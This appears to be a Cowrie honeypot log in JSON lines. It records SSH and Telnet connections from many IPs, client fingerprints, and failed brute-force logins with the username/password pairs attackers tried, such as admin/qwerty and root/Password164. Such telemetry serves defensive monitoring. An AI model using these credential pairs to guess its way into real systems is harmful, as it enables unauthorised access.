{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:11.281206Z","src_ip":"91.92.40.13","session":"99a09a4e487c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:11.285888Z","src_ip":"91.92.40.13","session":"99a09a4e487c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty","message":"login attempt [admin/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:12.165396Z","src_ip":"91.92.40.13","session":"99a09a4e487c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:13.392122Z","src_ip":"91.92.40.13","session":"99a09a4e487c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.1","message":"Connection lost after 18.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:23.177565Z","src_ip":"85.198.19.241","session":"c9659e4cc127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57152,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb7503191b89","protocol":"ssh","message":"New connection: 27.71.230.31:57152 (10.17.0.5:22) [session: eb7503191b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:31.120518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:31.124973Z","src_ip":"27.71.230.31","session":"eb7503191b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:32.054667Z","src_ip":"27.71.230.31","session":"eb7503191b89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password164","message":"login attempt [root/Password164] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:33.654307Z","src_ip":"27.71.230.31","session":"eb7503191b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:35.776657Z","src_ip":"27.71.230.31","session":"eb7503191b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":59744,"dst_ip":"10.17.0.5","dst_port":22,"session":"21912150786a","protocol":"ssh","message":"New connection: 43.153.12.68:59744 (10.17.0.5:22) [session: 21912150786a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:43.336714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:43.340749Z","src_ip":"43.153.12.68","session":"21912150786a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:43.409169Z","src_ip":"43.153.12.68","session":"21912150786a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15","message":"login attempt [root/15] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:43.715299Z","src_ip":"43.153.12.68","session":"21912150786a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:44.785444Z","src_ip":"43.153.12.68","session":"21912150786a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":54836,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ffdc9ba0b0b","protocol":"ssh","message":"New connection: 38.148.249.2:54836 (10.17.0.5:22) [session: 4ffdc9ba0b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:45.121077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:45.125221Z","src_ip":"38.148.249.2","session":"4ffdc9ba0b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:45.194496Z","src_ip":"38.148.249.2","session":"4ffdc9ba0b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.com.CN","message":"login attempt [root/123.com.CN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:45.504907Z","src_ip":"38.148.249.2","session":"4ffdc9ba0b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:46.576734Z","src_ip":"38.148.249.2","session":"4ffdc9ba0b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":38678,"dst_ip":"10.17.0.5","dst_port":22,"session":"a227955c6bf5","protocol":"ssh","message":"New connection: 103.216.145.2:38678 (10.17.0.5:22) [session: a227955c6bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:50.259905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:50.263677Z","src_ip":"103.216.145.2","session":"a227955c6bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:50.458868Z","src_ip":"103.216.145.2","session":"a227955c6bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:51.273490Z","src_ip":"103.216.145.2","session":"a227955c6bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:14:52.470851Z","src_ip":"103.216.145.2","session":"a227955c6bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":57774,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b56df10b0a3","protocol":"ssh","message":"New connection: 103.77.175.15:57774 (159.203.135.109:22) [session: 9b56df10b0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:18.396307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:18.403077Z","src_ip":"103.77.175.15","session":"9b56df10b0a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:18.665590Z","src_ip":"103.77.175.15","session":"9b56df10b0a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"280391","message":"login attempt [root/280391] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:19.450689Z","src_ip":"103.77.175.15","session":"9b56df10b0a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":52070,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b458402fac7","protocol":"ssh","message":"New connection: 182.93.50.90:52070 (10.17.0.5:22) [session: 9b458402fac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:20.597812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:20.601948Z","src_ip":"182.93.50.90","session":"9b458402fac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:20.713897Z","src_ip":"103.77.175.15","session":"9b56df10b0a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:20.821254Z","src_ip":"182.93.50.90","session":"9b458402fac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"admin@123","message":"login attempt [postgres/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:21.730647Z","src_ip":"182.93.50.90","session":"9b458402fac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:22.952680Z","src_ip":"182.93.50.90","session":"9b458402fac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55730,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9b6fbd97ec5","protocol":"telnet","message":"New connection: 128.199.8.54:55730 (159.203.135.109:23) [session: a9b6fbd97ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:26.912449Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46986,"dst_ip":"159.203.135.109","dst_port":23,"session":"448f5c9f016d","protocol":"telnet","message":"New connection: 107.6.151.170:46986 (159.203.135.109:23) [session: 448f5c9f016d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:47.531831Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":36338,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd65c9b56ae1","protocol":"ssh","message":"New connection: 27.71.230.31:36338 (159.203.135.109:22) [session: dd65c9b56ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:53.363685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:53.376292Z","src_ip":"27.71.230.31","session":"dd65c9b56ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:53.638981Z","src_ip":"27.71.230.31","session":"dd65c9b56ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password164","message":"login attempt [root/Password164] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:58.072008Z","src_ip":"27.71.230.31","session":"dd65c9b56ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:15:59.318019Z","src_ip":"27.71.230.31","session":"dd65c9b56ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48822,"dst_ip":"159.203.135.109","dst_port":23,"session":"d900e50ae196","protocol":"telnet","message":"New connection: 107.6.151.170:48822 (159.203.135.109:23) [session: d900e50ae196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:03.787716Z"}
{"eventid":"cowrie.session.closed","duration":39.24580383300781,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:06.157962Z","src_ip":"128.199.8.54","session":"a9b6fbd97ec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":50162,"dst_ip":"10.17.0.5","dst_port":22,"session":"180b2d93a76d","protocol":"ssh","message":"New connection: 103.27.238.116:50162 (10.17.0.5:22) [session: 180b2d93a76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:17.042534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:17.048349Z","src_ip":"103.27.238.116","session":"180b2d93a76d","protocol":"ssh"}
